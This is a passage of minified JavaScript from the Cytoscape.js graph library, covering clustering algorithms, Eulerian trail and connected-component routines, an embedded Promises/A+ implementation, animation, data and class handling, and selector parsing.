y=0;y<g.length;y++){f=pn(g[y],g,i.attributes);if(f<c[p]){c[p]=f;s[p]=g[y];v=true}}o[p]=r.collection(g)}d++}return o};var mn=function e(t,r,n,a,i){var o,s;for(var u=0;u<r.length;u++){for(var l=0;l<t.length;l++){a[u][l]=Math.pow(n[u][l],i.m)}}for(var f=0;f<t.length;f++){for(var c=0;c<i.attributes.length;c++){o=0;s=0;for(var v=0;v<r.length;v++){o+=a[v][f]*i.attributes[c](r[v]);s+=a[v][f]}t[f][c]=o/s}}};var bn=function e(t,r,n,a,i){for(var o=0;o<t.length;o++){r[o]=t[o].slice()}var s,u,l;var f=2/(i.m-1);for(var c=0;c<n.length;c++){for(var v=0;v<a.length;v++){s=0;for(var d=0;d<n.length;d++){u=sn(i.distance,a[v],n[c],i.attributes,"cmeans");l=sn(i.distance,a[v],n[d],i.attributes,"cmeans");s+=Math.pow(u/l,f)}t[v][c]=1/s}}};var xn=function e(t,r,n,a){var i=new Array(n.k);for(var o=0;o<i.length;o++){i[o]=[]}var s;var u;for(var l=0;l<r.length;l++){s=-Infinity;u=-1;for(var f=0;f<r[0].length;f++){if(r[l][f]>s){s=r[l][f];u=f}}i[u].push(t[l])}for(var c=0;c<i.length;c++){i[c]=a.collection(i[c])}return i};var wn=function e(t){var r=this.cy();var n=this.nodes();var a=on(t);var i;var o;var s;var u;var l;u=new Array(n.length);for(var f=0;f<n.length;f++){u[f]=new Array(a.k)}s=new Array(n.length);for(var c=0;c<n.length;c++){s[c]=new Array(a.k)}for(var v=0;v<n.length;v++){var d=0;for(var h=0;h<a.k;h++){s[v][h]=Math.random();d+=s[v][h]}for(var p=0;p<a.k;p++){s[v][p]=s[v][p]/d}}o=new Array(a.k);for(var g=0;g<a.k;g++){o[g]=new Array(a.attributes.length)}l=new Array(n.length);for(var y=0;y<n.length;y++){l[y]=new Array(a.k)}var m=true;var b=0;while(m&&b<a.maxIterations){m=false;mn(o,n,s,l,a);bn(s,u,o,n,a);if(!vn(s,u,a.sensitivityThreshold)){m=true}b++}i=xn(n,s,a,r);return{clusters:i,degreeOfMembership:s}};var En={kMeans:gn,kMedoids:yn,fuzzyCMeans:wn,fcm:wn};var _n=Ke({distance:"euclidean",linkage:"min",mode:"threshold",threshold:Infinity,addDendrogram:false,dendrogramDepth:0,attributes:[]});var kn={single:"min",complete:"max"};var Sn=function e(t){var r=_n(t);var n=kn[r.linkage];if(n!=null){r.linkage=n}return r};var Cn=function e(t,r,n,a,i){var o=0;var s=Infinity;var u;var l=i.attributes;var f=function e(t,r){return nn(i.distance,l.length,(function(e){return l[e](t)}),(function(e){return l[e](r)}),t,r)};for(var c=0;c<t.length;c++){var v=t[c].key;var d=n[v][a[v]];if(d<s){o=v;s=d}}if(i.mode==="threshold"&&s>=i.threshold||i.mode==="dendrogram"&&t.length===1){return false}var h=r[o];var p=r[a[o]];var g;if(i.mode==="dendrogram"){g={left:h,right:p,key:h.key}}else{g={value:h.value.concat(p.value),key:h.key}}t[h.index]=g;t.splice(p.index,1);r[h.key]=g;for(var y=0;y<t.length;y++){var m=t[y];if(h.key===m.key){u=Infinity}else if(i.linkage==="min"){u=n[h.key][m.key];if(n[h.key][m.key]>n[p.key][m.key]){u=n[p.key][m.key]}}else if(i.linkage==="max"){u=n[h.key][m.key];if(n[h.key][m.key]<n[p.key][m.key]){u=n[p.key][m.key]}}else if(i.linkage==="mean"){u=(n[h.key][m.key]*h.size+n[p.key][m.key]*p.size)/(h.size+p.size)}else{if(i.mode==="dendrogram")u=f(m.value,h.value);else u=f(m.value[0],h.value[0])}n[h.key][m.key]=n[m.key][h.key]=u}for(var b=0;b<t.length;b++){var x=t[b].key;if(a[x]===h.key||a[x]===p.key){var w=x;for(var E=0;E<t.length;E++){var _=t[E].key;if(n[x][_]<n[x][w]){w=_}}a[x]=w}t[b].index=b}h.key=p.key=h.index=p.index=null;return true};var Dn=function e(t,r,n){if(!t)return;if(t.value){r.push(t.value)}else{if(t.left)e(t.left,r);if(t.right)e(t.right,r)}};var Tn=function e(t,r){if(!t)return"";if(t.left&&t.right){var n=e(t.left,r);var a=e(t.right,r);var i=r.add({group:"nodes",data:{id:n+","+a}});r.add({group:"edges",data:{source:n,target:i.id()}});r.add({group:"edges",data:{source:a,target:i.id()}});return i.id()}else if(t.value){return t.value.id()}};var Pn=function e(t,r,n){if(!t)return[];var a=[],i=[],o=[];if(r===0){if(t.left)Dn(t.left,a);if(t.right)Dn(t.right,i);o=a.concat(i);return[n.collection(o)]}else if(r===1){if(t.value){return[n.collection(t.value)]}else{if(t.left)Dn(t.left,a);if(t.right)Dn(t.right,i);return[n.collection(a),n.collection(i)]}}else{if(t.value){return[n.collection(t.value)]}else{if(t.left)a=e(t.left,r-1,n);if(t.right)i=e(t.right,r-1,n);return a.concat(i)}}};var Mn=function e(t){var r=this.cy();var n=this.nodes();var a=Sn(t);var i=a.attributes;var o=function e(t,r){return nn(a.distance,i.length,(function(e){return i[e](t)}),(function(e){return i[e](r)}),t,r)};var s=[];var u=[];var l=[];var f=[];for(var c=0;c<n.length;c++){var v={value:a.mode==="dendrogram"?n[c]:[n[c]],key:c,index:c};s[c]=v;f[c]=v;u[c]=[];l[c]=0}for(var d=0;d<s.length;d++){for(var h=0;h<=d;h++){var p=void 0;if(a.mode==="dendrogram"){p=d===h?Infinity:o(s[d].value,s[h].value)}else{p=d===h?Infinity:o(s[d].value[0],s[h].value[0])}u[d][h]=p;u[h][d]=p;if(p<u[d][l[d]]){l[d]=h}}}var g=Cn(s,f,u,l,a);while(g){g=Cn(s,f,u,l,a)}var y;if(a.mode==="dendrogram"){y=Pn(s[0],a.dendrogramDepth,r);if(a.addDendrogram)Tn(s[0],r)}else{y=new Array(s.length);s.forEach((function(e,t){e.key=e.index=null;y[t]=r.collection(e.value)}))}return y};var In={hierarchicalClustering:Mn,hca:Mn};var On=Ke({distance:"euclidean",preference:"median",damping:.8,maxIterations:1e3,minIterations:100,attributes:[]});var Nn=function e(t){var r=t.damping;var n=t.preference;if(!(.5<=r&&r<1)){Fe("Damping must range on [0.5, 1).  Got: ".concat(r))}var a=["median","mean","min","max"];if(!(a.some((function(e){return e===n}))||I(n))){Fe("Preference must be one of [".concat(a.map((function(e){return"'".concat(e,"'")})).join(", "),"] or a number.  Got: ").concat(n))}return On(t)};var zn=function e(t,r,n,a){var i=function e(t,r){return a[r](t)};return-nn(t,a.length,(function(e){return i(r,e)}),(function(e){return i(n,e)}),r,n)};var An=function e(t,r){var n=null;if(r==="median"){n=Pt(t)}else if(r==="mean"){n=Tt(t)}else if(r==="min"){n=Ct(t)}else if(r==="max"){n=Dt(t)}else{n=r}return n};var Ln=function e(t,r,n){var a=[];for(var i=0;i<t;i++){if(r[i*t+i]+n[i*t+i]>0){a.push(i)}}return a};var Bn=function e(t,r,n){var a=[];for(var i=0;i<t;i++){var o=-1;var s=-Infinity;for(var u=0;u<n.length;u++){var l=n[u];if(r[i*t+l]>s){o=l;s=r[i*t+l]}}if(o>0){a.push(o)}}for(var f=0;f<n.length;f++){a[n[f]]=n[f]}return a};var jn=function e(t,r,n){var a=Bn(t,r,n);for(var i=0;i<n.length;i++){var o=[];for(var s=0;s<a.length;s++){if(a[s]===n[i]){o.push(s)}}var u=-1;var l=-Infinity;for(var f=0;f<o.length;f++){var c=0;for(var v=0;v<o.length;v++){c+=r[o[v]*t+o[f]]}if(c>l){u=f;l=c}}n[i]=o[u]}a=Bn(t,r,n);return a};var Rn=function e(t){var r=this.cy();var n=this.nodes();var a=Nn(t);var i={};for(var o=0;o<n.length;o++){i[n[o].id()]=o}var s;var u;var l;var f;var c;var v;s=n.length;u=s*s;l=new Array(u);for(var d=0;d<u;d++){l[d]=-Infinity}for(var h=0;h<s;h++){for(var p=0;p<s;p++){if(h!==p){l[h*s+p]=zn(a.distance,n[h],n[p],a.attributes)}}}f=An(l,a.preference);for(var g=0;g<s;g++){l[g*s+g]=f}c=new Array(u);for(var y=0;y<u;y++){c[y]=0}v=new Array(u);for(var m=0;m<u;m++){v[m]=0}var b=new Array(s);var x=new Array(s);var w=new Array(s);for(var E=0;E<s;E++){b[E]=0;x[E]=0;w[E]=0}var _=new Array(s*a.minIterations);for(var k=0;k<_.length;k++){_[k]=0}var S;for(S=0;S<a.maxIterations;S++){for(var C=0;C<s;C++){var D=-Infinity,T=-Infinity,P=-1,M=0;for(var I=0;I<s;I++){b[I]=c[C*s+I];M=v[C*s+I]+l[C*s+I];if(M>=D){T=D;D=M;P=I}else if(M>T){T=M}}for(var O=0;O<s;O++){c[C*s+O]=(1-a.damping)*(l[C*s+O]-D)+a.damping*b[O]}c[C*s+P]=(1-a.damping)*(l[C*s+P]-T)+a.damping*b[P]}for(var N=0;N<s;N++){var z=0;for(var A=0;A<s;A++){b[A]=v[A*s+N];x[A]=Math.max(0,c[A*s+N]);z+=x[A]}z-=x[N];x[N]=c[N*s+N];z+=x[N];for(var L=0;L<s;L++){v[L*s+N]=(1-a.damping)*Math.min(0,z-x[L])+a.damping*b[L]}v[N*s+N]=(1-a.damping)*(z-x[N])+a.damping*b[N]}var B=0;for(var j=0;j<s;j++){var R=v[j*s+j]+c[j*s+j]>0?1:0;_[S%a.minIterations*s+j]=R;B+=R}if(B>0&&(S>=a.minIterations-1||S==a.maxIterations-1)){var F=0;for(var V=0;V<s;V++){w[V]=0;for(var q=0;q<a.minIterations;q++){w[V]+=_[q*s+V]}if(w[V]===0||w[V]===a.minIterations){F++}}if(F===s){break}}}var G=Ln(s,c,v);var Y=jn(s,l,G);var X={};for(var W=0;W<G.length;W++){X[G[W]]=[]}for(var H=0;H<n.length;H++){var U=i[n[H].id()];var K=Y[U];if(K!=null){X[K].push(n[H])}}var $=new Array(G.length);for(var Z=0;Z<G.length;Z++){$[Z]=r.collection(X[G[Z]])}return $};var Fn={affinityPropagation:Rn,ap:Rn};var Vn=Ke({root:undefined,directed:false});var qn={hierholzer:function e(t){if(!P(t)){var r=arguments;t={root:r[0],directed:r[1]}}var n=Vn(t),a=n.root,i=n.directed;var o=this;var s=false;var u;var l;var f;if(a)f=C(a)?this.filter(a)[0].id():a[0].id();var c={};var v={};if(i){o.forEach((function(e){var t=e.id();if(e.isNode()){var r=e.indegree(true);var n=e.outdegree(true);var a=r-n;var i=n-r;if(a==1){if(u)s=true;else u=t}else if(i==1){if(l)s=true;else l=t}else if(i>1||a>1){s=true}c[t]=[];e.outgoers().forEach((function(e){if(e.isEdge())c[t].push(e.id())}))}else{v[t]=[undefined,e.target().id()]}}))}else{o.forEach((function(e){var t=e.id();if(e.isNode()){var r=e.degree(true);if(r%2){if(!u)u=t;else if(!l)l=t;else s=true}c[t]=[];e.connectedEdges().forEach((function(e){return c[t].push(e.id())}))}else{v[t]=[e.source().id(),e.target().id()]}}))}var d={found:false,trail:undefined};if(s)return d;else if(l&&u){if(i){if(f&&l!=f){return d}f=l}else{if(f&&l!=f&&u!=f){return d}else if(!f){f=l}}}else{if(!f)f=o[0].id()}var h=function e(t){var r=t;var n=[t];var a,o,s;while(c[r].length){a=c[r].shift();o=v[a][0];s=v[a][1];if(r!=s){c[s]=c[s].filter((function(e){return e!=a}));r=s}else if(!i&&r!=o){c[o]=c[o].filter((function(e){return e!=a}));r=o}n.unshift(a);n.unshift(r)}return n};var p=[];var g=[];g=h(f);while(g.length!=1){if(c[g[0]].length==0){p.unshift(o.getElementById(g.shift()));p.unshift(o.getElementById(g.shift()))}else{g=h(g.shift()).concat(g)}}p.unshift(o.getElementById(g.shift()));for(var y in c){if(c[y].length){return d}}d.found=true;d.trail=this.spawn(p,true);return d}};var Gn=function e(){var t=this;var r={};var n=0;var a=0;var i=[];var o=[];var s={};var u=function e(n,a){var s=o.length-1;var u=[];var l=t.spawn();while(o[s].x!=n||o[s].y!=a){u.push(o.pop().edge);s--}u.push(o.pop().edge);u.forEach((function(e){var n=e.connectedNodes().intersection(t);l.merge(e);n.forEach((function(e){var n=e.id();var a=e.connectedEdges().intersection(t);l.merge(e);if(!r[n].cutVertex){l.merge(a)}else{l.merge(a.filter((function(e){return e.isLoop()})))}}))}));i.push(l)};var l=function e(l,f,c){if(l===c)a+=1;r[f]={id:n,low:n++,cutVertex:false};var v=t.getElementById(f).connectedEdges().intersection(t);if(v.size()===0){i.push(t.spawn(t.getElementById(f)))}else{var d,h,p,g;v.forEach((function(t){d=t.source().id();h=t.target().id();p=d===f?h:d;if(p!==c){g=t.id();if(!s[g]){s[g]=true;o.push({x:f,y:p,edge:t})}if(!(p in r)){e(l,p,f);r[f].low=Math.min(r[f].low,r[p].low);if(r[f].id<=r[p].low){r[f].cutVertex=true;u(f,p)}}else{r[f].low=Math.min(r[f].low,r[p].id)}}}))}};t.forEach((function(e){if(e.isNode()){var t=e.id();if(!(t in r)){a=0;l(t,t);r[t].cutVertex=a>1}}}));var f=Object.keys(r).filter((function(e){return r[e].cutVertex})).map((function(e){return t.getElementById(e)}));return{cut:t.spawn(f),components:i}};var Yn={hopcroftTarjanBiconnected:Gn,htbc:Gn,htb:Gn,hopcroftTarjanBiconnectedComponents:Gn};var Xn=function e(){var t=this;var r={};var n=0;var a=[];var i=[];var o=t.spawn(t);var s=function e(s){i.push(s);r[s]={index:n,low:n++,explored:false};var u=t.getElementById(s).connectedEdges().intersection(t);u.forEach((function(t){var n=t.target().id();if(n!==s){if(!(n in r)){e(n)}if(!r[n].explored){r[s].low=Math.min(r[s].low,r[n].low)}}}));if(r[s].index===r[s].low){var l=t.spawn();for(;;){var f=i.pop();l.merge(t.getElementById(f));r[f].low=r[s].index;r[f].explored=true;if(f===s){break}}var c=l.edgesWith(l);var v=l.merge(c);a.push(v);o=o.difference(v)}};t.forEach((function(e){if(e.isNode()){var t=e.id();if(!(t in r)){s(t)}}}));return{cut:o,components:a}};var Wn={tarjanStronglyConnected:Xn,tsc:Xn,tscc:Xn,tarjanStronglyConnectedComponents:Xn};var Hn={};[ut,ft,ct,dt,pt,yt,wt,Tr,Mr,Or,zr,Ur,En,In,Fn,qn,Yn,Wn].forEach((function(e){ie(Hn,e)}));
/*!
Embeddable Minimum Strictly-Compliant Promises/A+ 1.1.1 Thenable
Copyright (c) 2013-2014 Ralf S. Engelschall (http://engelschall.com)
Licensed under The MIT License (http://opensource.org/licenses/MIT)
*/var Un=0;var Kn=1;var $n=2;var Zn=function e(t){if(!(this instanceof e))return new e(t);this.id="Thenable/1.0.7";this.state=Un;this.fulfillValue=undefined;this.rejectReason=undefined;this.onFulfilled=[];this.onRejected=[];this.proxy={then:this.then.bind(this)};if(typeof t==="function")t.call(this,this.fulfill.bind(this),this.reject.bind(this))};Zn.prototype={fulfill:function e(t){return Qn(this,Kn,"fulfillValue",t)},reject:function e(t){return Qn(this,$n,"rejectReason",t)},then:function e(t,r){var n=this;var a=new Zn;n.onFulfilled.push(ta(t,a,"fulfill"));n.onRejected.push(ta(r,a,"reject"));Jn(n);return a.proxy}};var Qn=function e(t,r,n,a){if(t.state===Un){t.state=r;t[n]=a;Jn(t)}return t};var Jn=function e(t){if(t.state===Kn)ea(t,"onFulfilled",t.fulfillValue);else if(t.state===$n)ea(t,"onRejected",t.rejectReason)};var ea=function e(t,r,n){if(t[r].length===0)return;var a=t[r];t[r]=[];var i=function e(){for(var t=0;t<a.length;t++){a[t](n)}};if(typeof setImmediate==="function")setImmediate(i);else setTimeout(i,0)};var ta=function e(t,r,n){return function(e){if(typeof t!=="function")r[n].call(r,e);else{var a;try{a=t(e)}catch(e){r.reject(e);return}ra(r,a)}}};var ra=function e(t,r){if(t===r||t.proxy===r){t.reject(new TypeError("cannot resolve promise with itself"));return}var n;if(l(r)==="object"&&r!==null||typeof r==="function"){try{n=r.then}catch(e){t.reject(e);return}}if(typeof n==="function"){var a=false;try{n.call(r,(function(n){if(a)return;a=true;if(n===r)t.reject(new TypeError("circular thenable chain"));else e(t,n)}),(function(e){if(a)return;a=true;t.reject(e)}))}catch(e){if(!a)t.reject(e)}return}t.fulfill(r)};Zn.all=function(e){return new Zn((function(t,r){var n=new Array(e.length);var a=0;var i=function r(i,o){n[i]=o;a++;if(a===e.length){t(n)}};for(var o=0;o<e.length;o++){(function(t){var n=e[t];var a=n!=null&&n.then!=null;if(a){n.then((function(e){i(t,e)}),(function(e){r(e)}))}else{var o=n;i(t,o)}})(o)}}))};Zn.resolve=function(e){return new Zn((function(t,r){t(e)}))};Zn.reject=function(e){return new Zn((function(t,r){r(e)}))};var na=typeof Promise!=="undefined"?Promise:Zn;var aa=function e(t,r,n){var a=B(t);var i=!a;var o=this._private=ie({duration:1e3},r,n);o.target=t;o.style=o.style||o.css;o.started=false;o.playing=false;o.hooked=false;o.applying=false;o.progress=0;o.completes=[];o.frames=[];if(o.complete&&D(o.complete)){o.completes.push(o.complete)}if(i){var s=t.position();o.startPosition=o.startPosition||{x:s.x,y:s.y};o.startStyle=o.startStyle||t.cy().style().getAnimationStartStyle(t,o.style)}if(a){var u=t.pan();o.startPan={x:u.x,y:u.y};o.startZoom=t.zoom()}this.length=1;this[0]=this};var ia=aa.prototype;ie(ia,{instanceString:function e(){return"animation"},hook:function e(){var t=this._private;if(!t.hooked){var r;var n=t.target._private.animation;if(t.queue){r=n.queue}else{r=n.current}r.push(this);if(z(t.target)){t.target.cy().addToAnimationPool(t.target)}t.hooked=true}return this},play:function e(){var t=this._private;if(t.progress===1){t.progress=0}t.playing=true;t.started=false;t.stopped=false;this.hook();return this},playing:function e(){return this._private.playing},apply:function e(){var t=this._private;t.applying=true;t.started=false;t.stopped=false;this.hook();return this},applying:function e(){return this._private.applying},pause:function e(){var t=this._private;t.playing=false;t.started=false;return this},stop:function e(){var t=this._private;t.playing=false;t.started=false;t.stopped=true;return this},rewind:function e(){return this.progress(0)},fastforward:function e(){return this.progress(1)},time:function e(t){var r=this._private;if(t===undefined){return r.progress*r.duration}else{return this.progress(t/r.duration)}},progress:function e(t){var r=this._private;var n=r.playing;if(t===undefined){return r.progress}else{if(n){this.pause()}r.progress=t;r.started=false;if(n){this.play()}}return this},completed:function e(){return this._private.progress===1},reverse:function e(){var t=this._private;var r=t.playing;if(r){this.pause()}t.progress=1-t.progress;t.started=false;var n=function e(r,n){var a=t[r];if(a==null){return}t[r]=t[n];t[n]=a};n("zoom","startZoom");n("pan","startPan");n("position","startPosition");if(t.style){for(var a=0;a<t.style.length;a++){var i=t.style[a];var o=i.name;var s=t.startStyle[o];t.startStyle[o]=i;t.style[a]=s}}if(r){this.play()}return this},promise:function e(t){var r=this._private;var n;switch(t){case"frame":n=r.frames;break;default:case"complete":case"completed":n=r.completes}return new na((function(e,t){n.push((function(){e()}))}))}});ia.complete=ia.completed;ia.run=ia.play;ia.running=ia.playing;var oa={animated:function e(){return function e(){var t=this;var r=t.length!==undefined;var n=r?t:[t];var a=this._private.cy||this;if(!a.styleEnabled()){return false}var i=n[0];if(i){return i._private.animation.current.length>0}}},clearQueue:function e(){return function e(){var t=this;var r=t.length!==undefined;var n=r?t:[t];var a=this._private.cy||this;if(!a.styleEnabled()){return this}for(var i=0;i<n.length;i++){var o=n[i];o._private.animation.queue=[]}return this}},delay:function e(){return function e(t,r){var n=this._private.cy||this;if(!n.styleEnabled()){return this}return this.animate({delay:t,duration:t,complete:r})}},delayAnimation:function e(){return function e(t,r){var n=this._private.cy||this;if(!n.styleEnabled()){return this}return this.animation({delay:t,duration:t,complete:r})}},animation:function e(){return function e(t,r){var n=this;var a=n.length!==undefined;var i=a?n:[n];var o=this._private.cy||this;var s=!a;var u=!s;if(!o.styleEnabled()){return this}var l=o.style();t=ie({},t,r);var f=Object.keys(t).length===0;if(f){return new aa(i[0],t)}if(t.duration===undefined){t.duration=400}switch(t.duration){case"slow":t.duration=600;break;case"fast":t.duration=200;break}if(u){t.style=l.getPropsList(t.style||t.css);t.css=undefined}if(u&&t.renderedPosition!=null){var c=t.renderedPosition;var v=o.pan();var d=o.zoom();t.position=kt(c,d,v)}if(s&&t.panBy!=null){var h=t.panBy;var p=o.pan();t.pan={x:p.x+h.x,y:p.y+h.y}}var g=t.center||t.centre;if(s&&g!=null){var y=o.getCenterPan(g.eles,t.zoom);if(y!=null){t.pan=y}}if(s&&t.fit!=null){var m=t.fit;var b=o.getFitViewport(m.eles||m.boundingBox,m.padding);if(b!=null){t.pan=b.pan;t.zoom=b.zoom}}if(s&&P(t.zoom)){var x=o.getZoomedViewport(t.zoom);if(x!=null){if(x.zoomed){t.zoom=x.zoom}if(x.panned){t.pan=x.pan}}else{t.zoom=null}}return new aa(i[0],t)}},animate:function e(){return function e(t,r){var n=this;var a=n.length!==undefined;var i=a?n:[n];var o=this._private.cy||this;if(!o.styleEnabled()){return this}if(r){t=ie({},t,r)}for(var s=0;s<i.length;s++){var u=i[s];var l=u.animated()&&(t.queue===undefined||t.queue);var f=u.animation(t,l?{queue:true}:undefined);f.play()}return this}},stop:function e(){return function e(t,r){var n=this;var a=n.length!==undefined;var i=a?n:[n];var o=this._private.cy||this;if(!o.styleEnabled()){return this}for(var s=0;s<i.length;s++){var u=i[s];var l=u._private;var f=l.animation.current;for(var c=0;c<f.length;c++){var v=f[c];var d=v._private;if(r){d.duration=0}}if(t){l.animation.queue=[]}if(!r){l.animation.current=[]}}o.notify("draw");return this}}};var sa={data:function e(t){var r={field:"data",bindingEvent:"data",allowBinding:false,allowSetting:false,allowGetting:false,settingEvent:"data",settingTriggersEvent:false,triggerFnName:"trigger",immutableKeys:{},updateStyle:false,beforeGet:function e(t){},beforeSet:function e(t,r){},onSet:function e(t){},canSet:function e(t){return true}};t=ie({},r,t);return function e(r,n){var a=t;var i=this;var l=i.length!==undefined;var f=l?i:[i];var c=l?i[0]:i;if(C(r)){var v=r.indexOf(".")!==-1;var h=v&&u(r);if(a.allowGetting&&n===undefined){var p;if(c){a.beforeGet(c);if(h&&c._private[a.field][r]===undefined){p=o(c._private[a.field],h)}else{p=c._private[a.field][r]}}return p}else if(a.allowSetting&&n!==undefined){var g=!a.immutableKeys[r];if(g){var y=d({},r,n);a.beforeSet(i,y);for(var m=0,b=f.length;m<b;m++){var x=f[m];if(a.canSet(x)){if(h&&c._private[a.field][r]===undefined){s(x._private[a.field],h,n)}else{x._private[a.field][r]=n}}}if(a.updateStyle){i.updateStyle()}a.onSet(i);if(a.settingTriggersEvent){i[a.triggerFnName](a.settingEvent)}}}}else if(a.allowSetting&&P(r)){var w=r;var E,_;var k=Object.keys(w);a.beforeSet(i,w);for(var S=0;S<k.length;S++){E=k[S];_=w[E];var T=!a.immutableKeys[E];if(T){for(var M=0;M<f.length;M++){var I=f[M];if(a.canSet(I)){I._private[a.field][E]=_}}}}if(a.updateStyle){i.updateStyle()}a.onSet(i);if(a.settingTriggersEvent){i[a.triggerFnName](a.settingEvent)}}else if(a.allowBinding&&D(r)){var O=r;i.on(a.bindingEvent,O)}else if(a.allowGetting&&r===undefined){var N;if(c){a.beforeGet(c);N=c._private[a.field]}return N}return i}},removeData:function e(t){var r={field:"data",event:"data",triggerFnName:"trigger",triggerEvent:false,immutableKeys:{}};t=ie({},r,t);return function e(r){var n=t;var a=this;var i=a.length!==undefined;var o=i?a:[a];if(C(r)){var s=r.split(/\s+/);var u=s.length;for(var l=0;l<u;l++){var f=s[l];if(F(f)){continue}var c=!n.immutableKeys[f];if(c){for(var v=0,d=o.length;v<d;v++){o[v]._private[n.field][f]=undefined}}}if(n.triggerEvent){a[n.triggerFnName](n.event)}}else if(r===undefined){for(var h=0,p=o.length;h<p;h++){var g=o[h]._private[n.field];var y=Object.keys(g);for(var m=0;m<y.length;m++){var b=y[m];var x=!n.immutableKeys[b];if(x){g[b]=undefined}}}if(n.triggerEvent){a[n.triggerFnName](n.event)}}return a}}};var ua={eventAliasesOn:function e(t){var r=t;r.addListener=r.listen=r.bind=r.on;r.unlisten=r.unbind=r.off=r.removeListener;r.trigger=r.emit;r.pon=r.promiseOn=function(e,t){var r=this;var n=Array.prototype.slice.call(arguments,0);return new na((function(e,t){var a=function t(n){r.off.apply(r,o);e(n)};var i=n.concat([a]);var o=i.concat([]);r.on.apply(r,i)}))}}};var la={};[oa,sa,ua].forEach((function(e){ie(la,e)}));var fa={animate:la.animate(),animation:la.animation(),animated:la.animated(),clearQueue:la.clearQueue(),delay:la.delay(),delayAnimation:la.delayAnimation(),stop:la.stop()};var ca={classes:function e(t){var r=this;if(t===undefined){var n=[];r[0]._private.classes.forEach((function(e){return n.push(e)}));return n}else if(!T(t)){t=(t||"").match(/\S+/g)||[]}var a=[];var i=new it(t);for(var o=0;o<r.length;o++){var s=r[o];var u=s._private;var l=u.classes;var f=false;for(var c=0;c<t.length;c++){var v=t[c];var d=l.has(v);if(!d){f=true;break}}if(!f){f=l.size!==t.length}if(f){u.classes=i;a.push(s)}}if(a.length>0){this.spawn(a).updateStyle().emit("class")}return r},addClass:function e(t){return this.toggleClass(t,true)},hasClass:function e(t){var r=this[0];return r!=null&&r._private.classes.has(t)},toggleClass:function e(t,r){if(!T(t)){t=t.match(/\S+/g)||[]}var n=this;var a=r===undefined;var i=[];for(var o=0,s=n.length;o<s;o++){var u=n[o];var l=u._private.classes;var f=false;for(var c=0;c<t.length;c++){var v=t[c];var d=l.has(v);var h=false;if(r||a&&!d){l.add(v);h=true}else if(!r||a&&d){l["delete"](v);h=true}if(!f&&h){i.push(u);f=true}}}if(i.length>0){this.spawn(i).updateStyle().emit("class")}return n},removeClass:function e(t){return this.toggleClass(t,false)},flashClass:function e(t,r){var n=this;if(r==null){r=250}else if(r===0){return n}n.addClass(t);setTimeout((function(){n.removeClass(t)}),r);return n}};ca.className=ca.classNames=ca.classes;var va={metaChar:"[\\!\\\"\\#\\$\\%\\&\\'\\(\\)\\*\\+\\,\\.\\/\\:\\;\\<\\=\\>\\?\\@\\[\\]\\^\\`\\{\\|\\}\\~]",comparatorOp:"=|\\!=|>|>=|<|<=|\\$=|\\^=|\\*=",boolOp:"\\?|\\!|\\^",string:'"(?:\\\\"|[^"])*"'+"|"+"'(?:\\\\'|[^'])*'",number:$,meta:"degree|indegree|outdegree",separator:"\\s*,\\s*",descendant:"\\s+",child:"\\s+>\\s+",subject:"\\$",group:"node|edge|\\*",directedEdge:"\\s+->\\s+",undirectedEdge:"\\s+<->\\s+"};va.variable="(?:[\\w-.]|(?:\\\\"+va.metaChar+"))+";va.className="(?:[\\w-]|(?:\\\\"+va.metaChar+"))+";va.value=va.string+"|"+va.number;va.id=va.variable;(function(){var e,t,r;e=va.comparatorOp.split("|");for(r=0;r<e.length;r++){t=e[r];va.comparatorOp+="|@"+t}e=va.comparatorOp.split("|");for(r=0;r<e.length;r++){t=e[r];if(t.indexOf("!")>=0){continue}if(t==="="){continue}va.comparatorOp+="|\\!"+t}})();var da=function e(){return{checks:[]}};var ha={GROUP:0,COLLECTION:1,FILTER:2,DATA_COMPARE:3,DATA_EXIST:4,DATA_BOOL:5,META_COMPARE:6,STATE:7,ID:8,CLASS:9,UNDIRECTED_EDGE:10,DIRECTED_EDGE:11,NODE_SOURCE:12,NODE_TARGET:13,NODE_NEIGHBOR:14,CHILD:15,DESCENDANT:16,PARENT:17,ANCESTOR:18,COMPOUND_SPLIT:19,TRUE:20};var pa=[{selector:":selected",matches:function e(t){return t.selected()}},{selector:":unselected",matches:function e(t){return!t.selected()}},{selector:":selectable",matches:function e(t){return t.selectable()}},{selector:":unselectable",matches:function e(t){return!t.selectable()}},{selector:":locked",matches:function e(t){return t.locked()}},{selector:":unlocked",matches:function e(t){return!t.locked()}},{selector:":visible",matches:function e(t){return t.visible()}},{selector:":hidden",matches:function e(t){return!t.visible()}},{selector:":transparent",matches:function e(t){return t.transparent()}},{selector:":grabbed",matches:function e(t){return t.grabbed()}},{selector:":free",matches:function e(t){return!t.grabbed()}},{selector:":removed",matches:function e(t){return t.removed()}},{selector:":inside",matches:function e(t){return!t.removed()}},{selector:":grabbable",matches:function e(t){return t.grabbable()}},{selector:":ungrabbable",matches:function e(t){return!t.grabbable()}},{selector:":animated",matches:function e(t){return t.animated()}},{selector:":unanimated",matches:function e(t){return!t.animated()}},{selector:":parent",matches:function e(t){return t.isParent()}},{selector:":childless",matches:function e(t){return t.isChildless()}},{selector:":child",matches:function e(t){return t.isChild()}},{selector:":orphan",matches:function e(t){return t.isOrphan()}},{selector:":nonorphan",matches:function e(t){return t.isChild()}},{selector:":compound",matches:function e(t){if(t.isNode()){return t.isParent()}else{return t.source().isParent()||t.target().isParent()}}},{selector:":loop",matches:function e(t){return t.isLoop()}},{selector:":simple",matches:function e(t){return t.isSimple()}},{selector:":active",matches:function e(t){return t.active()}},{selector:":inactive",matches:function e(t){return!t.active()}},{selector:":backgrounding",matches:function e(t){return t.backgrounding()}},{selector:":nonbackgrounding",matches:function e(t){return!t.backgrounding()}}].sort((function(e,t){return ae(e.selector,t.selector)}));var ga=function(){var e={};var t;for(var r=0;r<pa.length;r++){t=pa[r];e[t.selector]=t.matches}return e}();var ya=function e(t,r){return ga[t](r)};var ma="("+pa.map((function(e){return e.selector})).join("|")+")";var ba=function e(t){return t.replace(new RegExp("\\\\("+va.metaChar+")","g"),(function(e,t){return t}))};var xa=function e(t,r,n){t[t.length-1]=n};var wa=[{name:"group",query:true,regex:"("+va.group+")",populate:function e(t,r,n){var a=h(n,1),i=a[0];r.checks.push({type:ha.GROUP,value:i==="*"?i:i+"s"})}},{name:"state",query:true,regex:ma,populate:function e(t,r,n){var a=h(n,1),i=a[0];r.checks.push({type:ha.STATE,value:i})}},{name:"id",query:true,regex:"\\#("+va.id+")",populate:function e(t,r,n){var a=h(n,1),i=a[0];r.checks.push({type:ha.ID,value:ba(i)})}},{name:"className",query:true,regex:"\\.("+va.className+")",populate:function e(t,r,n){var 